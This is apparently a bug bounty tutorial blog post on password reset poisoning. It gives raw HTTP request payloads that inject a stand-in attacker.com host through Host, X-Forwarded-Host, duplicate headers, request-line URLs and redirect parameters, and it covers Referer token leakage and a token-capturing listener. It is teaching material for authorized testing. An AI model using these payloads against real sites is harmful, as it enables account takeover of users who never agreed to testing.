October 28, 2026
Account Takeover via Password Reset Poisoning : Step-by-Step Bug Bounty Guide
How a single HTTP header can turn a βforgot passwordβ feature into a full account takeover

By Monika
6 min read
So far in this series, we've covered recon automation, IDOR, Business Logic bugs, Subdomain Takeovers, Rate Limiting, File Uploads, real-world XSS patterns, SSRF, and GraphQL vulnerabilities. Today we're covering one of the most consistently high-severity, high-payout bugs in bug bounty: Password Reset Poisoning.
This bug class is popular for a good reason β almost every application has a "forgot password" feature, the root cause is a single trusted-but-untrustworthy header, and the impact is about as bad as it gets: full account takeover, no interaction needed beyond clicking a link.
What is Password Reset Poisoning?
When you click "Forgot Password," the server builds a reset link and emails it to you. That link usually looks like:
https://target.com/reset-password?token=abc123xyzhttps://target.com/reset-password?token=abc123xyzThe problem happens when the server builds the domain part of that link dynamically, using a value it trusts from the incoming request instead of a hardcoded, server-side value β most commonly the Host header.
GET /forgot-password?email=victim@example.com HTTP/1.1
Host: attacker.comGET /forgot-password?email=victim@example.com HTTP/1.1
Host: attacker.comIf the backend builds the reset email using Host to construct the link, the victim receives an email from the real company, with a real, valid reset token β but the link points to attacker.com instead of target.com:
https://attacker.com/reset-password?token=abc123xyzhttps://attacker.com/reset-password?token=abc123xyzIf the victim clicks it (it looks completely legitimate β same email template, same sender, just a domain they might not scrutinize closely), their valid reset token is sent straight to a server the attacker controls. The attacker captures the token, swaps it into the real reset URL, and takes over the account.
Why this is such a severe bug
Unlike most account takeover bugs, this one requires almost nothing from the attacker except getting the victim to click a link that looks completely genuine β it comes from the real company's email system, uses the real email template, and the only difference is a domain most users never check. Combined with the fact that the token itself is 100% valid and server-issued, this consistently rates as Critical severity on most programs.
Step 1: Find the password reset flow and capture the request
Start the "Forgot Password" flow and capture the request in Burp Suite:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comPOST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comStep 2: Test Host header injection
Send the request to Burp Repeater, and change the 'Host' header to a domain you control (your own VPS, a 'webhook.site' URL's domain, or a request-logging service):
POST /forgot-password HTTP/1.1
Host: your-attacker-domain.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comPOST /forgot-password HTTP/1.1
Host: your-attacker-domain.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comThen check the actual reset email you receive (use your own test account for this, never someone else's). Look specifically at the link's domain:
https://your-attacker-domain.com/reset-password?token=...https://your-attacker-domain.com/reset-password?token=...If the domain reflects your injected Host header instead of staying as 'target.com', this is a confirmed Password Reset Poisoning vulnerability.
Step 3: Try alternate headers if Host alone doesn't work
Many applications sit behind a load balancer or reverse proxy that uses a different header to determine the "real" hostname for internal logic β even if the raw Host header itself is locked down, these often aren't:
X-Forwarded-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.comX-Forwarded-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.comTest each one individually, and also try combining them with the real Host header present, since some backends prioritize the forwarded header over the actual one:
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comPOST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comStep 4: Try duplicate Host headers
Some parsers behave inconsistently when a request contains the 'Host' header twice β the application logic might read a different one than the web server/proxy actually routes on:
POST /forgot-password HTTP/1.1
Host: target.com
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.com
POST /forgot-password HTTP/1.1
Host: attacker.com
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comPOST /forgot-password HTTP/1.1
Host: target.com
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.com
POST /forgot-password HTTP/1.1
Host: attacker.com
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comTry both orders β which header "wins" depends entirely on how the specific server/framework parses duplicates.
Step 5: Try absolute URL in the request line
Instead of modifying headers, some backends can be confused by sending an absolute URL directly in the request line itself:
POST https://attacker.com/forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comPOST https://attacker.com/forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.comStep 6: Test password reset link poisoning via the email parameter itself (no header needed)
Some applications build the reset link from a parameter in the request rather than headers at all β for example, a client-provided redirect_url or return_to field meant to send the user back to a specific page after reset:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.com&redirect_url=https://attacker.comPOST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=youraccount@example.com&redirect_url=https://attacker.comIf this parameter ends up embedded in the reset link itself (e.g., [https://target.com/reset-password?token=abc123&redirect=https://attacker.com](https://target.com/reset-password?token=abc123&redirect=https://attacker.com`)), you don't even need a header trick β you can poison the link directly, and more importantly, you can also test whether the token itself gets leaked via an open-redirect-style chain once the victim clicks it (token in the URL, followed by a redirect to your domain, which captures it via the Referer header).
Step 7: If direct injection is blocked, chase the token a different way β via Referer leakage
Even when the domain itself can't be poisoned, check what happens after the victim clicks a legitimate reset link. If the reset page contains any outbound link, image, or script pointing to a third-party domain (analytics, a "powered by" badge, a support widget), the full URL β token included β can leak via the Referer header:
GET /reset-password?token=abc123xyz HTTP/1.1
<img src="https://analytics-provider.com/pixel.gif">GET /reset-password?token=abc123xyz HTTP/1.1
<img src="https://analytics-provider.com/pixel.gif">If Referer policy isn't restricted (Referrer-Policy: no-referrer or same-origin missing), that third-party request leaks the full URL β including the token β to whoever controls that third-party domain. This is a related, token-leakage variant worth checking alongside Host header poisoning.
Step 8: Build the full attack chain for your report
A convincing, high-severity report needs the complete chain demonstrated end-to-end, not just "I injected a header":
- Attacker submits a forgot-password request for the victim's email, with Host (or X-Forwarded-Host) set to attacker-controlled-domain.com
- Victim receives a completely legitimate-looking password reset email (same sender, same template) β but the link points to attacker-controlled-domain.com instead of target.com
- Victim clicks the link, believing it's genuine
- The victim's browser sends the valid reset token to the attacker's server as part of the request
- Attacker captures the token from their server logs
- Attacker swaps the token into the REAL domain's reset URL: https://target.com/reset-password?token=<captured_token>
- Attacker sets a new password for the victim's account β full takeover
Set up a simple logging listener to actually capture a token during testing (always against your own test account):
python3 -m http.server 8000
# or use https://webhook.site for a quick hosted listenerpython3 -m http.server 8000
# or use https://webhook.site for a quick hosted listenerReporting tips
- Show the exact header/technique that caused the domain injection, with the raw HTTP request and the resulting email content as proof
- Include the actual poisoned link that appeared in your test email β this is the single most convincing piece of evidence
- Walk through the full attack chain (Step 8 above) in your report, written as if explaining it to someone unfamiliar with the bug β triagers appreciate clarity on impact over technical cleverness
- Mention whether the attack requires any victim interaction beyond clicking a password reset link they themselves requested (or that you triggered using just their email address) β note that for many of these flows, the attacker can trigger the "forgot password" request on the victim's behalf, meaning zero interaction is needed from the victim except clicking an email they didn't even ask for, which is an important severity detail to call out explicitly
- If you also found the Referer-leakage variant (Step 7), report it as a secondary, related finding β programs often value seeing the full picture of a feature's weaknesses
Quick reference: Password Reset Poisoning checklist
[ ] Capture the forgot-password request in Burp
[ ] Test raw Host header injection
[ ] Test X-Forwarded-Host, X-Forwarded-Server, X-Host, Forwarded
[ ] Test duplicate Host headers (both orders)
[ ] Test absolute URL in the request line
[ ] Check for a client-controlled redirect/return_to parameter
[ ] Check Referrer-Policy on the reset page for token leakage via third-party resources
[ ] Build and document the full end-to-end attack chain before reporting[ ] Capture the forgot-password request in Burp
[ ] Test raw Host header injection
[ ] Test X-Forwarded-Host, X-Forwarded-Server, X-Host, Forwarded
[ ] Test duplicate Host headers (both orders)
[ ] Test absolute URL in the request line
[ ] Check for a client-controlled redirect/return_to parameter
[ ] Check Referrer-Policy on the reset page for token leakage via third-party resources
[ ] Build and document the full end-to-end attack chain before reportingFinal Thoughts
Password Reset Poisoning is one of the best bugs to specifically hunt for because the root cause is narrow (how the reset link's domain gets built) but the impact ceiling is as high as it gets β full account takeover with minimal victim interaction. It's also a great reminder of a pattern that shows up again and again in this series: trusting any client-supplied value β a header, a parameter, a cookie β to build something security-sensitive server-side is almost always where the bug lives.
If this guide helped you, consider buying me a coffee β
Monika Hi, I'm Monika β¨I break down real-world bug bounty reports into simple, practical write-ups.If my articles help youβ¦